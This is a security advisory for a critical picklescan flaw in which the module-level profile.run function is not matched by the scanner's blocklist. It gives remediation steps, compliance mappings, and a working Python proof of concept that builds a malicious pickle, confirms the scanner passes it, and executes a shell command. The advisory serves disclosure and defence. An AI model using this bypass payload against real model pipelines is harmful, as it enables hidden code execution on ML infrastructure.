GHSA-7wx9-6375-f5wh

GHSA-7wx9-6375-f5wh CRITICAL
Published March 3, 2026
CISO Take

Upgrade picklescan to 1.0.4 immediately — any team using this tool as a security gate for ML model ingestion has been getting false negatives on a trivially exploitable RCE vector. Re-audit all pickle files previously cleared by older versions, as a 20-byte payload bypasses the scanner completely while executing arbitrary code via exec(). Until patched, treat picklescan output on any 'profile' module usage as untrustworthy.

Affected Systems

Package Ecosystem Vulnerable Range Patched
picklescan pip < 1.0.4 1.0.4

Do you use picklescan? You're affected.

Severity & Risk

CVSS 3.1
9.8 / 10
EPSS
N/A
KEV Status
Not in KEV
Sophistication
Trivial

Recommended Action

  1. 1. IMMEDIATE: Upgrade picklescan to ≥1.0.4 across all environments and CI/CD pipelines. 2. AUDIT: Re-scan all pickle files previously cleared by older versions — prioritize externally sourced models. 3. DETECT: Search model files for 'profile' module references using: grep -r 'profile' <model_dir> or run updated picklescan. 4. ARCHITECTURAL: Migrate from pickle to safer serialization formats (safetensors for PyTorch, ONNX for cross-framework use) — pickle is inherently unsafe regardless of scanners. 5. DEFENSE-IN-DEPTH: Never load pickle files in privileged contexts; use sandboxed environments (containers with no network, minimal syscalls via seccomp) for model loading. 6. MONITOR: Alert on exec() calls and unexpected child processes spawned during model loading.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2.5 - AI system supply chain security A.8.4 - AI system security testing
NIST AI RMF
GOVERN-6.1 - AI supply chain risk management MANAGE-2.2 - Risk mitigation and treatment
OWASP LLM Top 10
LLM05:2025 - Insecure Plugin Design / Supply Chain Vulnerabilities

Technical Details

NVD Description

## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`

Exploitation Scenario

Attacker crafts a malicious PyTorch or scikit-learn model file using pickle serialization that embeds a profile.run() call with an arbitrary payload (e.g., reverse shell, credential harvester, cryptominer). They upload it to a shared model registry, HuggingFace Hub, or submit it via a model fine-tuning API. The defender's CI/CD pipeline runs picklescan — result: 0 issues, model marked safe. The model is promoted to production and loaded for inference. On load, profile.run() triggers exec(), executing the attacker's payload in the context of the ML serving infrastructure — typically with access to cloud credentials, training data, and internal network segments. The attack leaves no obvious traces since the execution happens during what appears to be legitimate model loading.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
March 3, 2026
Last Modified
March 3, 2026
First Seen
March 24, 2026